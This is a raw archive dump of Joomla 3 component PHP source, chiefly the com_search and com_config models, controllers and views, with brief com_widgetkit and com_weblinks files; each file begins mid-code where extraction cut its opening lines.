$this->input->getWord('searchphrase', 'all', 'post'); $post['limit'] = $this->input->getUInt('limit', null, 'post'); if ($post['limit'] === null) { unset($post['limit']); } $areas = $this->input->post->get('areas', null, 'array'); if ($areas) { foreach ($areas as $area) { $post['areas'][] = JFilterInput::getInstance()->clean($area, 'cmd'); } } // set Itemid id for links from menu $app = JFactory::getApplication(); $menu = $app->getMenu(); $items = $menu->getItems('link', 'index.php?option=com_search&view=search'); if (isset($items[0])) { $post['Itemid'] = $items[0]->id; } elseif ($this->input->getInt('Itemid') > 0) { //use Itemid from requesting page only if there is no existing menu $post['Itemid'] = $this->input->getInt('Itemid'); } unset($post['task']); unset($post['submit']); $uri = JUri::getInstance(); $uri->setQuery($post); $uri->setVar('option', 'com_search'); $this->setRedirect(JRoute::_('index.php'.$uri->toString(array('query', 'fragment')), false)); } } com_search/models/index.html000066600000000037150771500630012137 0ustar00 com_search/models/search.php000066600000010711150771500630012120 0ustar00setState('limit', $app->getUserStateFromRequest('com_search.limit', 'limit', $config->get('list_limit'), 'uint')); $this->setState('limitstart', $app->input->get('limitstart', 0, 'uint')); // Set the search parameters $keyword = urldecode($app->input->getString('searchword')); $match = $app->input->get('searchphrase', 'all', 'word'); $ordering = $app->input->get('ordering', 'newest', 'word'); $this->setSearch($keyword, $match, $ordering); //Set the search areas $areas = $app->input->get('areas', null, 'array'); $this->setAreas($areas); } /** * Method to set the search parameters * * @access public * @param string search string * @param string mathcing option, exact|any|all * @param string ordering option, newest|oldest|popular|alpha|category */ public function setSearch($keyword, $match = 'all', $ordering = 'newest') { if (isset($keyword)) { $this->setState('origkeyword', $keyword); if ($match !== 'exact') { $keyword = preg_replace('#\xE3\x80\x80#s', ' ', $keyword); } $this->setState('keyword', $keyword); } if (isset($match)) { $this->setState('match', $match); } if (isset($ordering)) { $this->setState('ordering', $ordering); } } /** * Method to set the search areas * * @access public * @param array Active areas * @param array Search areas */ public function setAreas($active = array(), $search = array()) { $this->_areas['active'] = $active; $this->_areas['search'] = $search; } /** * Method to get weblink item data for the category * * @access public * @return array */ public function getData() { // Lets load the content if it doesn't already exist if (empty($this->_data)) { $areas = $this->getAreas(); JPluginHelper::importPlugin('search'); $dispatcher = JEventDispatcher::getInstance(); $results = $dispatcher->trigger('onContentSearch', array( $this->getState('keyword'), $this->getState('match'), $this->getState('ordering'), $areas['active']) ); $rows = array(); foreach ($results as $result) { $rows = array_merge((array) $rows, (array) $result); } $this->_total = count($rows); if ($this->getState('limit') > 0) { $this->_data = array_splice($rows, $this->getState('limitstart'), $this->getState('limit')); } else { $this->_data = $rows; } } return $this->_data; } /** * Method to get the total number of weblink items for the category * * @access public * @return integer */ public function getTotal() { return $this->_total; } /** * Method to get a pagination object of the weblink items for the category * * @access public * @return integer */ public function getPagination() { // Lets load the content if it doesn't already exist if (empty($this->_pagination)) { $this->_pagination = new JPagination($this->getTotal(), $this->getState('limitstart'), $this->getState('limit')); } return $this->_pagination; } /** * Method to get the search areas * * @since 1.5 */ public function getAreas() { // Load the Category data if (empty($this->_areas['search'])) { $areas = array(); JPluginHelper::importPlugin('search'); $dispatcher = JEventDispatcher::getInstance(); $searchareas = $dispatcher->trigger('onContentSearchAreas'); foreach ($searchareas as $area) { if (is_array($area)) { $areas = array_merge($areas, $area); } } $this->_areas['search'] = $areas; } return $this->_areas; } } .htaccess000066600000000137150771500630006353 0ustar00 Order Allow,Deny Deny from all com_config/model/index.html000066600000000037150771500630011754 0ustar00 com_config/model/form.php000066600000020377150771500630011444 0ustar00getTable(); if (!$table->load($pk)) { throw new RuntimeException($table->getError()); } // Check if this is the user has previously checked out the row. if ($table->checked_out > 0 && $table->checked_out != $user->get('id') && !$user->authorise('core.admin', 'com_checkin')) { throw new RuntimeException($table->getError()); } // Attempt to check the row in. if (!$table->checkin($pk)) { throw new RuntimeException($table->getError()); } } return true; } /** * Method to check-out a row for editing. * * @param integer $pk The numeric id of the primary key. * * @return boolean False on failure or error, true otherwise. * * @since 3.2 */ public function checkout($pk = null) { // Only attempt to check the row in if it exists. if ($pk) { $user = JFactory::getUser(); // Get an instance of the row to checkout. $table = $this->getTable(); if (!$table->load($pk)) { throw new RuntimeException($table->getError()); } // Check if this is the user having previously checked out the row. if ($table->checked_out > 0 && $table->checked_out != $user->get('id')) { throw new RuntimeException(JText::_('JLIB_APPLICATION_ERROR_CHECKOUT_USER_MISMATCH')); } // Attempt to check the row out. if (!$table->checkout($user->get('id'), $pk)) { throw new RuntimeException($table->getError()); } } return true; } /** * Abstract method for getting the form from the model. * * @param array $data Data for the form. * @param boolean $loadData True if the form is to load its own data (default case), false if not. * * @return mixed A JForm object on success, false on failure * * @since 3.2 */ abstract public function getForm($data = array(), $loadData = true); /** * Method to get a form object. * * @param string $name The name of the form. * @param string $source The form source. Can be XML string if file flag is set to false. * @param array $options Optional array of options for the form creation. * @param boolean $clear Optional argument to force load a new form. * @param string $xpath An optional xpath to search for the fields. * * @return mixed JForm object on success, False on error. * * @see JForm * @since 3.2 */ protected function loadForm($name, $source = null, $options = array(), $clear = false, $xpath = false) { // Handle the optional arguments. $options['control'] = JArrayHelper::getValue($options, 'control', false); // Create a signature hash. $hash = sha1($source . serialize($options)); // Check if we can use a previously loaded form. if (isset($this->_forms[$hash]) && !$clear) { return $this->_forms[$hash]; } // Get the form. // Register the paths for the form -- failing here $paths = new SplPriorityQueue; $paths->insert(JPATH_COMPONENT . '/model/form', 'normal'); $paths->insert(JPATH_COMPONENT . '/model/field', 'normal'); $paths->insert(JPATH_COMPONENT . '/model/rule', 'normal'); //Legacy support to be removed in 4.0. -- failing here $paths->insert(JPATH_COMPONENT . '/models/forms', 'normal'); $paths->insert(JPATH_COMPONENT . '/models/fields', 'normal'); $paths->insert(JPATH_COMPONENT . '/models/rules', 'normal'); // Solution until JForm supports splqueue JForm::addFormPath(JPATH_COMPONENT . '/models/forms'); JForm::addFieldPath(JPATH_COMPONENT . '/models/fields'); JForm::addFormPath(JPATH_COMPONENT . '/model/form'); JForm::addFieldPath(JPATH_COMPONENT . '/model/field'); try { $form = JForm::getInstance($name, $source, $options, false, $xpath); if (isset($options['load_data']) && $options['load_data']) { // Get the data for the form. $data = $this->loadFormData(); } else { $data = array(); } // Allow for additional modification of the form, and events to be triggered. // We pass the data because plugins may require it. $this->preprocessForm($form, $data); // Load the data into the form after the plugins have operated. $form->bind($data); } catch (Exception $e) { JFactory::getApplication()->enqueueMessage($e->getMessage()); return false; } // Store the form for later. $this->_forms[$hash] = $form; return $form; } /** * Method to get the data that should be injected in the form. * * @return array The default data is an empty array. * * @since 3.2 */ protected function loadFormData() { return array(); } /** * Method to allow derived classes to preprocess the data. * * @param string $context The context identifier. * @param mixed &$data The data to be processed. It gets altered directly. * * @return void * * @since 3.2 */ protected function preprocessData($context, &$data) { // Get the dispatcher and load the users plugins. $dispatcher = JEventDispatcher::getInstance(); JPluginHelper::importPlugin('content'); // Trigger the data preparation event. $results = $dispatcher->trigger('onContentPrepareData', array($context, $data)); // Check for errors encountered while preparing the data. if (count($results) > 0 && in_array(false, $results, true)) { JFactory::getApplication()->enqueueMessage($dispatcher->getError(), 'error'); } } /** * Method to allow derived classes to preprocess the form. * * @param JForm $form A JForm object. * @param mixed $data The data expected for the form. * @param string $group The name of the plugin group to import (defaults to "content"). * * @return void * * @see JFormField * @since 3.2 * @throws Exception if there is an error in the form event. */ protected function preprocessForm(JForm $form, $data, $group = 'content') { // Import the appropriate plugin group. JPluginHelper::importPlugin($group); // Get the dispatcher. $dispatcher = JEventDispatcher::getInstance(); // Trigger the form preparation event. $results = $dispatcher->trigger('onContentPrepareForm', array($form, $data)); // Check for errors encountered while preparing the form. if (count($results) && in_array(false, $results, true)) { // Get the last error. $error = $dispatcher->getError(); if (!($error instanceof Exception)) { throw new Exception($error); } } } /** * Method to validate the form data. * * @param JForm $form The form to validate against. * @param array $data The data to validate. * @param string $group The name of the field group to validate. * * @return mixed Array of filtered data if valid, false otherwise. * * @see JFormRule * @see JFilterInput * @since 3.2 */ public function validate($form, $data, $group = null) { // Filter and validate the form data. $data = $form->filter($data); $return = $form->validate($data, $group); // Check for an error. if ($return instanceof Exception) { JFactory::getApplication()->enqueueMessage($return->getMessage(), 'error'); return false; } // Check the validation results. if ($return === false) { // Get the validation messages from the form. foreach ($form->getErrors() as $message) { JFactory::getApplication()->enqueueMessage($message, 'error'); } return false; } return $data; } } com_config/model/cms.php000066600000014241150771500630011254 0ustar00option)) { $r = null; if (!preg_match('/(.*)Model/i', get_class($this), $r)) { throw new Exception(JText::_('JLIB_APPLICATION_ERROR_MODEL_GET_NAME'), 500); } $this->option = 'com_' . strtolower($r[1]); } // Set the view name if (empty($this->name)) { if (array_key_exists('name', $config)) { $this->name = $config['name']; } else { $this->name = $this->getName(); } } // Set the model state if (array_key_exists('state', $config)) { $this->state = $config['state']; } else { $this->state = new JRegistry; } // Set the model dbo if (array_key_exists('dbo', $config)) { $this->db = $config['dbo']; } // Register the paths for the form $paths = $this->registerTablePaths($config); // Set the internal state marker - used to ignore setting state from the request if (!empty($config['ignore_request'])) { $this->__state_set = true; } // Set the clean cache event if (isset($config['event_clean_cache'])) { $this->event_clean_cache = $config['event_clean_cache']; } elseif (empty($this->event_clean_cache)) { $this->event_clean_cache = 'onContentCleanCache'; } $state = new JRegistry($config); parent::__construct($state); } /** * Method to get the model name * * The model name. By default parsed using the classname or it can be set * by passing a $config['name'] in the class constructor * * @return string The name of the model * * @since 3.2 * @throws Exception */ public function getName() { if (empty($this->name)) { $r = null; if (!preg_match('/Model(.*)/i', get_class($this), $r)) { throw new Exception(JText::_('JLIB_APPLICATION_ERROR_MODEL_GET_NAME'), 500); } $this->name = strtolower($r[1]); } return $this->name; } /** * Method to get model state variables * * @return object The property where specified, the state object where omitted * * @since 3.2 */ public function getState() { if (!$this->__state_set) { // Protected method to auto-populate the model state. $this->populateState(); // Set the model state set flag to true. $this->__state_set = true; } return $this->state; } /** * Method to register paths for tables * * @param array $config Configuration array * * @return object The property where specified, the state object where omitted * * @since 3.2 */ public function registerTablePaths($config = array()) { // Set the default view search path if (array_key_exists('table_path', $config)) { $this->addTablePath($config['table_path']); } elseif (defined('JPATH_COMPONENT_ADMINISTRATOR')) { // Register the paths for the form $paths = new SplPriorityQueue; $paths->insert(JPATH_COMPONENT_ADMINISTRATOR . '/table', 'normal'); // For legacy purposes. Remove for 4.0 $paths->insert(JPATH_COMPONENT_ADMINISTRATOR . '/tables', 'normal'); } } /** * Clean the cache * * @param string $group The cache group * @param integer $client_id The ID of the client * * @return void * * @since 3.2 */ protected function cleanCache($group = null, $client_id = 0) { $conf = JFactory::getConfig(); $dispatcher = JEventDispatcher::getInstance(); $options = array( 'defaultgroup' => ($group) ? $group : (isset($this->option) ? $this->option : JFactory::getApplication()->input->get('option')), 'cachebase' => ($client_id) ? JPATH_ADMINISTRATOR . '/cache' : $conf->get('cache_path', JPATH_SITE . '/cache')); $cache = JCache::getInstance('callback', $options); $cache->clean(); // Trigger the onContentCleanCache event. $dispatcher->trigger($this->event_clean_cache, $options); } /** * Method to auto-populate the model state. * * This method should only be called once per instantiation and is designed * to be called on the first call to the getState() method unless the model * configuration flag to ignore the request is set. * * @return void * * @note Calling getState in this method will result in recursion. * @since 3.2 */ protected function populateState() { $this->loadState(); } /** * Method to test whether a record can be deleted. * * @param object $record A record object. * * @return boolean True if allowed to delete the record. Defaults to the permission set in the component. * * @since 3.2 */ protected function canDelete($record) { if (!empty($record->id)) { if ($record->published != -2) { return; } $user = JFactory::getUser(); return $user->authorise('core.delete', $this->option); } } /** * Method to test whether a record can have its state changed. * * @param object $record A record object. * * @return boolean True if allowed to change the state of the record. Defaults to the permission set in the component. * * @since 3.2 */ protected function canEditState($record) { $user = JFactory::getUser(); return $user->authorise('core.edit.state', $this->option); } } com_config/model/templates.php000066600000006212150771500630012467 0ustar00loadState(); // Load the parameters. $params = JComponentHelper::getParams('com_templates'); $state->set('params', $params); $this->setState($state); } /** * Method to get the record form. * * @param array $data An optional array of data for the form to interogate. * @param boolean $loadData True if the form is to load its own data (default case), false if not. * * @return JForm A JForm object on success, false on failure * * @since 3.2 */ public function getForm($data = array(), $loadData = true) { // Get the form. $form = $this->loadForm('com_config.templates', 'templates', array('control' => 'jform', 'load_data' => $loadData)); try { $form = new JForm('com_config.templates'); $data = array(); $this->preprocessForm($form, $data); // Load the data into the form $form->bind($data); } catch (Exception $e) { JFactory::getApplication()->enqueueMessage($e->getMessage()); return false; } if (empty($form)) { return false; } return $form; } /** * Method to preprocess the form * * @param JForm $form A form object. * @param mixed $data The data expected for the form. * @param string $group Plugin group to load * * @return void * * @since 3.2 * @throws Exception if there is an error in the form event. */ protected function preprocessForm(JForm $form, $data, $group = 'content') { $lang = JFactory::getLanguage(); $template = JFactory::getApplication()->getTemplate(); jimport('joomla.filesystem.path'); // Load the core and/or local language file(s). $lang->load('tpl_' . $template, JPATH_BASE, null, false, true) || $lang->load('tpl_' . $template, JPATH_BASE . '/templates/' . $template, null, false, true); // Look for com_config.xml, which contains fileds to display $formFile = JPath::clean(JPATH_BASE . '/templates/' . $template . '/com_config.xml'); if (!file_exists($formFile)) { // If com_config.xml not found, fall back to templateDetails.xml $formFile = JPath::clean(JPATH_BASE . '/templates/' . $template . '/templateDetails.xml'); } if (file_exists($formFile)) { // Get the template form. if (!$form->loadFile($formFile, false, '//config')) { throw new Exception(JText::_('JERROR_LOADFILE_FAILED')); } } // Attempt to load the xml file. if (!$xml = simplexml_load_file($formFile)) { throw new Exception(JText::_('JERROR_LOADFILE_FAILED')); } // Trigger the default form events. parent::preprocessForm($form, $data, $group); } } com_config/model/config.php000066600000001742150771500630011741 0ustar00loadForm('com_config.config', 'config', array('control' => 'jform', 'load_data' => $loadData)); if (empty($form)) { return false; } return $form; } } com_config/model/form/templates.xml000066600000001562150771500630013446 0ustar00
com_config/model/form/index.html000066600000000037150771500630012717 0ustar00 com_config/model/form/config.xml000066600000005337150771500630012721 0ustar00
com_config/controller/cancel.php000066600000001430150771500630012776 0ustar00app->redirect(JUri::base()); } } com_config/controller/display.php000066600000004506150771500630013225 0ustar00input->getWord('option', 'com_config'); if ($this->app->isAdmin()) { $viewName = $this->input->getWord('view', 'application'); } else { $viewName = $this->input->getWord('view', 'config'); } $viewFormat = $document->getType(); $layoutName = $this->input->getWord('layout', 'default'); // Register the layout paths for the view $paths = new SplPriorityQueue; if ($this->app->isAdmin()) { $paths->insert(JPATH_ADMINISTRATOR . '/components/' . $componentFolder . '/view/' . $viewName . '/tmpl', 1); } else { $paths->insert(JPATH_BASE . '/components/' . $componentFolder . '/view/' . $viewName . '/tmpl', 1); } $viewClass = $this->prefix . 'View' . ucfirst($viewName) . ucfirst($viewFormat); $modelClass = $this->prefix . 'Model' . ucfirst($viewName); if (class_exists($viewClass)) { $model = new $modelClass; // Access check. if (!JFactory::getUser()->authorise('core.admin', $model->getState()->get('component.option'))) { $this->app->enqueueMessage(JText::_('JERROR_ALERTNOAUTHOR'), 'error'); return; } $view = new $viewClass($model, $paths); $view->setLayout($layoutName); // Push document object into the view. $view->document = $document; // Reply for service requests if ($viewFormat == 'json') { return $view->render(); } // Render view. echo $view->render(); } return true; } } com_config/controller/cmsbase.php000066600000002127150771500630013172 0ustar00app = $this->getApplication(); $this->app->redirect('index.php?option=' . $this->input->get('option')); $this->componentFolder = $this->input->getWord('option', 'com_content'); $this->viewName = $this->input->getWord('view'); return $this; } } com_config/controller/templates/display.php000066600000005247150771500630015226 0ustar00getApplication(); // Get the document object. $document = JFactory::getDocument(); $viewName = $this->input->getWord('view', 'templates'); $viewFormat = $document->getType(); $layoutName = $this->input->getWord('layout', 'default'); // Access back-end com_config JLoader::register('TemplatesController', JPATH_ADMINISTRATOR . '/components/com_templates/controller.php'); JLoader::register('TemplatesViewStyle', JPATH_ADMINISTRATOR . '/components/com_templates/views/style/view.json.php'); JLoader::register('TemplatesModelStyle', JPATH_ADMINISTRATOR . '/components/com_templates/models/style.php'); $displayClass = new TemplatesController; // Set back-end required params $document->setType('json'); $this->input->set('id', $app->getTemplate('template')->id); // Execute back-end controller $serviceData = json_decode($displayClass->display(), true); // Reset params back after requesting from service $document->setType('html'); $this->input->set('view', $viewName); // Register the layout paths for the view $paths = new SplPriorityQueue; $paths->insert(JPATH_COMPONENT . '/view/' . $viewName . '/tmpl', 'normal'); $viewClass = 'ConfigView' . ucfirst($viewName) . ucfirst($viewFormat); $modelClass = 'ConfigModel' . ucfirst($viewName); if (class_exists($viewClass)) { if ($viewName != 'close') { $model = new $modelClass; // Access check. if (!JFactory::getUser()->authorise('core.admin', $model->getState('component.option'))) { $app->enqueueMessage(JText::_('JERROR_ALERTNOAUTHOR'), 'error'); return; } } $view = new $viewClass($model, $paths); $view->setLayout($layoutName); // Push document object into the view. $view->document = $document; // Load form and bind data $form = $model->getForm(); if ($form) { $form->bind($serviceData); } // Set form and data to the view $view->form = &$form; // Render view. echo $view->render(); } return true; } } com_config/controller/templates/save.php000066600000005020150771500630014504 0ustar00redirect('index.php', JText::_('JINVALID_TOKEN')); } // Check if the user is authorized to do this. if (!JFactory::getUser()->authorise('core.admin')) { JFactory::getApplication()->redirect('index.php', JText::_('JERROR_ALERTNOAUTHOR')); return; } // Set FTP credentials, if given. JClientHelper::setCredentialsFromRequest('ftp'); $app = JFactory::getApplication(); // Access back-end com_templates JLoader::register('TemplatesControllerStyle', JPATH_ADMINISTRATOR . '/components/com_templates/controllers/style.php'); JLoader::register('TemplatesModelStyle', JPATH_ADMINISTRATOR . '/components/com_templates/models/style.php'); JLoader::register('TemplatesTableStyle', JPATH_ADMINISTRATOR . '/components/com_templates/tables/style.php'); $controllerClass = new TemplatesControllerStyle; // Get a document object $document = JFactory::getDocument(); // Set back-end required params $document->setType('json'); $this->input->set('id', $app->getTemplate('template')->id); // Execute back-end controller $return = $controllerClass->save(); // Reset params back after requesting from service $document->setType('html'); // Check the return value. if ($return === false) { // Save the data in the session. $app->setUserState('com_config.config.global.data', $data); // Save failed, go back to the screen and display a notice. $message = JText::sprintf('JERROR_SAVE_FAILED'); $app->redirect(JRoute::_('index.php?option=com_config&controller=config.display.templates', false), $message, 'error'); return false; } // Set the success message. $message = JText::_('COM_CONFIG_SAVE_SUCCESS'); // Redirect back to com_config display $app->redirect(JRoute::_('index.php?option=com_config&controller=config.display.templates', false), $message); return true; } } com_config/controller/templates/index.html000066600000000037150771500630015035 0ustar00 com_config/controller/config/display.php000066600000004547150771500630014477 0ustar00getApplication(); // Get the document object. $document = JFactory::getDocument(); $viewName = $this->input->getWord('view', 'config'); $viewFormat = $document->getType(); $layoutName = $this->input->getWord('layout', 'default'); // Access back-end com_config JLoader::registerPrefix(ucfirst($viewName), JPATH_ADMINISTRATOR . '/components/com_config'); $displayClass = new ConfigControllerApplicationDisplay; // Set back-end required params $document->setType('json'); $app->input->set('view', 'application'); // Execute back-end controller $serviceData = json_decode($displayClass->execute(), true); // Reset params back after requesting from service $document->setType('html'); $app->input->set('view', $viewName); // Register the layout paths for the view $paths = new SplPriorityQueue; $paths->insert(JPATH_COMPONENT . '/view/' . $viewName . '/tmpl', 'normal'); $viewClass = 'ConfigView' . ucfirst($viewName) . ucfirst($viewFormat); $modelClass = 'ConfigModel' . ucfirst($viewName); if (class_exists($viewClass)) { if ($viewName != 'close') { $model = new $modelClass; // Access check. if (!JFactory::getUser()->authorise('core.admin', $model->getState('component.option'))) { return; } } $view = new $viewClass($model, $paths); $view->setLayout($layoutName); // Push document object into the view. $view->document = $document; // Load form and bind data $form = $model->getForm(); if ($form) { $form->bind($serviceData); } // Set form and data to the view $view->form = &$form; $view->data = &$serviceData; // Render view. echo $view->render(); } return true; } } com_config/controller/config/save.php000066600000005722150771500630013764 0ustar00app->enqueueMessage(JText::_('JINVALID_TOKEN')); $this->app->redirect('index.php'); } // Check if the user is authorized to do this. if (!JFactory::getUser()->authorise('core.admin')) { $this->app->enqueueMessage(JText::_('JERROR_ALERTNOAUTHOR')); $this->app->redirect('index.php'); } // Set FTP credentials, if given. JClientHelper::setCredentialsFromRequest('ftp'); $model = new ConfigModelConfig; $form = $model->getForm(); $data = $this->input->post->get('jform', array(), 'array'); // Validate the posted data. $return = $model->validate($form, $data); // Check for validation errors. if ($return === false) { /* * The validate method enqueued all messages for us, so we just need to redirect back. */ // Save the data in the session. $this->app->setUserState('com_config.config.global.data', $data); // Redirect back to the edit screen. $this->app->redirect(JRoute::_('index.php?option=com_config&controller=config.display.config', false)); } // Attempt to save the configuration. $data = $return; // Access back-end com_config JLoader::registerPrefix('Config', JPATH_ADMINISTRATOR . '/components/com_config'); $saveClass = new ConfigControllerApplicationSave; // Get a document object $document = JFactory::getDocument(); // Set back-end required params $document->setType('json'); // Execute back-end controller $return = $saveClass->execute(); // Reset params back after requesting from service $document->setType('html'); // Check the return value. if ($return === false) { /* * The save method enqueued all messages for us, so we just need to redirect back. */ // Save the data in the session. $this->app->setUserState('com_config.config.global.data', $data); // Save failed, go back to the screen and display a notice. $this->app->redirect(JRoute::_('index.php?option=com_config&controller=config.display.config', false)); } // Redirect back to com_config display $this->app->enqueueMessage(JText::_('COM_CONFIG_SAVE_SUCCESS')); $this->app->redirect(JRoute::_('index.php?option=com_config&controller=config.display.config', false)); return true; } } com_config/controller/config/index.html000066600000000037150771500630014304 0ustar00 com_config/controller/index.html000066600000000037150771500630013037 0ustar00 com_config/controller/helper.php000066600000005222150771500630013033 0ustar00input->get('task')) { // Toolbar expects old style but we are using new style // Remove when toolbar can handle either directly if (strpos($task, '/') !== false) { $tasks = explode('/', $task); } else { $tasks = explode('.', $task); } } elseif ($controllerTask = $app->input->get('controller')) { // Temporary solution if (strpos($controllerTask, '/') !== false) { $tasks = explode('/', $controllerTask); } else { $tasks = explode('.', $controllerTask); } } if (empty($tasks[0]) || $tasks[0] == 'Config') { $location = 'Config'; } else { $location = ucfirst(strtolower($tasks[0])); } if (empty($tasks[1])) { $activity = 'Display'; } else { $activity = ucfirst(strtolower($tasks[1])); } $view = ''; if (!empty($tasks[2])) { $view = ucfirst(strtolower($tasks[2])); } // Some special handling for com_config administrator $option = $app->input->get('option'); if ($app->isAdmin() && $option == 'com_config') { $component = $app->input->get('component'); if (!empty($component)) { $view = 'Component'; } elseif ($option == 'com_config') { $view = 'Application'; } } $controllerName = $location . 'Controller' . $view . $activity; if (!class_exists($controllerName)) { return false; } $controller = new $controllerName; $controller->options = array(); $controller->options = $tasks; return $controller; } } com_config/controller/canceladmin.php000066600000002636150771500630014020 0ustar00app->enqueueMessage(JText::_('JINVALID_TOKEN')); $this->app->redirect('index.php'); } if (empty($this->context)) { $this->context = $this->option . '.edit' . $this->context; } // Redirect. $this->app->setUserState($this->context . '.data', null); if (!empty($this->redirect)) { $this->app->redirect($this->redirect); } else { parent::execute(); } } } com_config/index.html000066600000000037150771500630010654 0ustar00 com_config/config.php000066600000001333150771500630010635 0ustar00setHeader('Expires', 'Mon, 26 Jul 1997 05:00:00 GMT', true); $controllerHelper = new ConfigControllerHelper; $controller = $controllerHelper->parseController($app); $controller->prefix = 'Config'; // Perform the Request task $controller->execute(); com_config/view/templates/tmpl/default.php000066600000003337150771500630014746 0ustar00

loadTemplate('options'); ?>
com_config/view/templates/tmpl/default.xml000066600000000765150771500630014761 0ustar00
com_config/view/templates/tmpl/index.html000066600000000037150771500630014600 0ustar00 com_config/view/templates/tmpl/default_options.php000066600000003077150771500630016522 0ustar00 form->getFieldsets('params'); ?>
form->getFieldset('com_config') as $field) : ?>
label; ?>
input; ?>
$fieldSet) : $label = !empty($fieldSet->label) ? $fieldSet->label : 'COM_CONFIG_' . $name . '_FIELDSET_LABEL'; if (isset($fieldSet->description) && trim($fieldSet->description)) : echo '

' . $this->escape(JText::_($fieldSet->description)) . '

'; endif; ?>
form->getFieldset($name) as $field) : ?>
label; ?>
input; ?>
com_config/view/templates/html.php000066600000001341150771500630013303 0ustar00userIsSuperAdmin = $user->authorise('core.admin'); return parent::render(); } } com_config/view/config/tmpl/default.php000066600000003440150771500630014210 0ustar00

loadTemplate('site'); ?> loadTemplate('metadata'); ?> loadTemplate('seo'); ?>
com_config/view/config/tmpl/default.xml000066600000000752150771500630014224 0ustar00
com_config/view/config/tmpl/index.html000066600000000037150771500630014047 0ustar00 com_config/view/config/tmpl/default_seo.php000066600000001177150771500630015063 0ustar00
form->getFieldset('seo') as $field): ?>
label; ?>
input; ?>
com_config/view/config/tmpl/default_site.php000066600000001201150771500630015225 0ustar00
form->getFieldset('site') as $field): ?>
label; ?>
input; ?>
com_config/view/config/tmpl/default_metadata.php000066600000001211150771500630016042 0ustar00
form->getFieldset('metadata') as $field): ?>
label; ?>
input; ?>
com_config/view/config/index.html000066600000000037150771500630013073 0ustar00 com_config/view/config/html.php000066600000001341150771500630012552 0ustar00userIsSuperAdmin = $user->authorise('core.admin'); return parent::render(); } } com_config/view/index.html000066600000000037150771500630011626 0ustar00 com_config/view/cms/index.html000066600000000037150771500630012410 0ustar00 com_config/view/cms/html.php000066600000013231150771500630012070 0ustar00 array(), 'helper' => array()); /** * Layout extension * * @var string * @since 3.2 */ protected $_layoutExt = 'php'; /** * Method to instantiate the view. * * @param JModel $model The model object. * @param SplPriorityQueue $paths The paths queue. * * @since 3.2 */ public function __construct(JModel $model, SplPriorityQueue $paths = null) { $app = JFactory::getApplication(); $component = JApplicationHelper::getComponentName(); $component = preg_replace('/[^A-Z0-9_\.-]/i', '', $component); if (isset($paths)) { $paths->insert(JPATH_THEMES . '/' . $app->getTemplate() . '/html/' . $component . '/' . $this->getName(), 2); } parent::__construct($model, $paths); } /** * Load a template file -- first look in the templates folder for an override * * @param string $tpl The name of the template source file; automatically searches the template paths and compiles as needed. * * @return string The output of the the template script. * * @since 3.2 * @throws Exception */ public function loadTemplate($tpl = null) { // Clear prior output $this->_output = null; $template = JFactory::getApplication()->getTemplate(); $layout = $this->getLayout(); // Create the template file name based on the layout $file = isset($tpl) ? $layout . '_' . $tpl : $layout; // Clean the file name $file = preg_replace('/[^A-Z0-9_\.-]/i', '', $file); $tpl = isset($tpl) ? preg_replace('/[^A-Z0-9_\.-]/i', '', $tpl) : $tpl; // Load the language file for the template $lang = JFactory::getLanguage(); $lang->load('tpl_' . $template, JPATH_BASE, null, false, true) || $lang->load('tpl_' . $template, JPATH_THEMES . "/$template", null, false, true); // Change the template folder if alternative layout is in different template /* if (isset($layoutTemplate) && $layoutTemplate != '_' && $layoutTemplate != $template) { $this->_path['template'] = str_replace($template, $layoutTemplate, $this->_path['template']); } */ // Prevents adding path twise if (empty($this->_path['template'])) { // Adding template paths $this->paths->top(); $defaultPath = $this->paths->current(); $this->paths->next(); $templatePath = $this->paths->current(); $this->_path['template'] = array($defaultPath, $templatePath); } // Load the template script jimport('joomla.filesystem.path'); $filetofind = $this->_createFileName('template', array('name' => $file)); $this->_template = JPath::find($this->_path['template'], $filetofind); // If alternate layout can't be found, fall back to default layout if ($this->_template == false) { $filetofind = $this->_createFileName('', array('name' => 'default' . (isset($tpl) ? '_' . $tpl : $tpl))); $this->_template = JPath::find($this->_path['template'], $filetofind); } if ($this->_template != false) { // Unset so as not to introduce into template scope unset($tpl); unset($file); // Never allow a 'this' property if (isset($this->this)) { unset($this->this); } // Start capturing output into a buffer ob_start(); // Include the requested template filename in the local scope // (this will execute the view logic). include $this->_template; // Done with the requested template; get the buffer and // clear it. $this->_output = ob_get_contents(); ob_end_clean(); return $this->_output; } else { throw new Exception(JText::sprintf('JLIB_APPLICATION_ERROR_LAYOUTFILE_NOT_FOUND', $file), 500); } } /** * Create the filename for a resource * * @param string $type The resource type to create the filename for * @param array $parts An associative array of filename information * * @return string The filename * * @since 3.2 */ protected function _createFileName($type, $parts = array()) { $filename = ''; switch ($type) { case 'template': $filename = strtolower($parts['name']) . '.' . $this->_layoutExt; break; default: $filename = strtolower($parts['name']) . '.php'; break; } return $filename; } /** * Method to get the view name * * The model name by default parsed using the classname, or it can be set * by passing a $config['name'] in the class constructor * * @return string The name of the model * * @since 3.2 * @throws Exception */ public function getName() { if (empty($this->_name)) { $classname = get_class($this); $viewpos = strpos($classname, 'View'); if ($viewpos === false) { throw new Exception(JText::_('JLIB_APPLICATION_ERROR_VIEW_GET_NAME'), 500); } $lastPart = substr($classname, $viewpos + 4); $pathParts = explode(' ', JStringNormalise::fromCamelCase($lastPart)); if (!empty($pathParts[1])) { $this->_name = strtolower($pathParts[0]); } else { $this->_name = strtolower($lastPart); } } return $this->_name; } } com_config/view/cms/json.php000066600000001257150771500630012102 0ustar00data = $this->model->getData(); return json_encode($this->data); } } com_widgetkit/widgetkit.php000066600000000716150771500630012115 0ustar00render($_GET["id"]); }com_weblinks/weblinks.php000066600000000733150771500630011562 0ustar00execute(JFactory::getApplication()->input->get('task')); $controller->redirect(); com_weblinks/metadata.xml000066600000000075150771500630011534 0ustar00 com_weblinks/router.php000066600000013735150771500630011272 0ustar00getMenu(); $params = JComponentHelper::getParams('com_weblinks'); $advanced = $params->get('sef_advanced_link', 0); // We need a menu item. Either the one specified in the query, or the current active one if none specified if (empty($query['Itemid'])) { $menuItem = $menu->getActive(); } else { $menuItem = $menu->getItem($query['Itemid']); } $mView = (empty($menuItem->query['view'])) ? null : $menuItem->query['view']; $mId = (empty($menuItem->query['id'])) ? null : $menuItem->query['id']; if (isset($query['view'])) { $view = $query['view']; if (empty($query['Itemid']) || empty($menuItem) || $menuItem->component != 'com_weblinks') { $segments[] = $query['view']; } // We need to keep the view for forms since they never have their own menu item if ($view != 'form') { unset($query['view']); } } // Are we dealing with an weblink that is attached to a menu item? if (isset($query['view']) && ($mView == $query['view']) and (isset($query['id'])) and ($mId == (int) $query['id'])) { unset($query['view']); unset($query['catid']); 